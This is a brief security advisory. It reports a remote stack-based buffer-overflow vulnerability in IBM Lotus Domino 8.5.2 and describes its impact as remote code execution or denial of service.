IBM Lotus Domino is prone to a remote stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied input.

Successfully exploiting this issue will allow remote attackers to execute arbitrary code with system-level privileges. Successful exploits will completely compromise affected computers. Failed exploit attempts will result in a denial-of-service condition.

Lotus Domino 8.5.2 is vulnerable; other versions may also be affected.
